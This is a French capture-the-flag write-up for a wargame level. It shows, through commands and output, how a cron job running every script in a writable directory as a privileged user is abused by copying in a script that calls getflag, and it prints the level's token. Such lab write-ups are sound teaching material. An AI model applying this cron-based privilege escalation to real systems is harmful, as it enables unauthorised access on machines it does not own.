ressources

Level 05

Cette fois ci, il n'existe aucun fichier dans le home de l'utilisateur level05. Encore une fois, nous exécutons la commande magique find.

~ find / -name level05 2> /tmp/error
/var/mail/level05
/rofs/var/mail/level05

L'utilisateur level05 a donc reçu un mail.

~ cat /var/mail/level05
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05

Le contenu du mail est une crontab qui exécute avec les privilèges de flag05 la commande sh /usr/sbin/openarenaserver toutes les 2 minutes.

Nous effectuons un cat sur /usr/sbin/openarenaserver afin d'identifier le script shell et son action.

#!/bin/sh

for i in /opt/openarenaserver/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done

Le script récupère donc tous les fichiers dans /opt/openarenaserver et les executes avec bash, puis les supprime.

Nous avons donc scp un script bash qui appelle la commande getflag et redirige la sortie dans un fichier dans /tmp

~ scp -P 4242 script [email protected]:/opt/openarenaserver
[email protected] password:
script                                          100%   37    28.7KB/s   00:00
~ chmod 777 /opt/openarenaserver/script
~ cat /tmp/flag
Check flag.Here is your token : viuaaale9huek52boumoomioc
~ su level06
Password: